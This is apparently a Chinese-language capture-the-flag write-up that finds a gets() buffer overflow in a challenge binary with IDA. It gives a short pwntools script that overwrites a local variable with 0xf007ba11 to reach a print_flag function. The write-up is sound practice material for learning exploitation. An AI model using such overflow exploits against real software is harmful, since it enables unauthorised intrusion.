思路
- 先使用ida,觀察主函數(shù),看到gets函數(shù),要是不清楚可以使用man搜索一下,該函數(shù)是讀取一行的輸入,不檢查輸入的長(zhǎng)度,回車結(jié)束,因此該函數(shù)十分危險(xiǎn),也因此我們可知由此來溢出。

gets函數(shù).png
-
同時(shí)我們可以看到有明顯的print_flag函數(shù),因此目的是滿足田間運(yùn)行print_flag,因此總體思路就是通過gets函數(shù),溢出,使v5被覆蓋,從而滿足判斷條件
溢出點(diǎn).png
代碼
from pwn import*
context.log_level='debug'
io = process('./pwn1')
payload = '\x90'* 0x17
payload += p32(0xf007ba11)
io.recvuntil('What is my secret?\n')
io.send(payload)
io.interactive()
io.close()

運(yùn)行成功.png
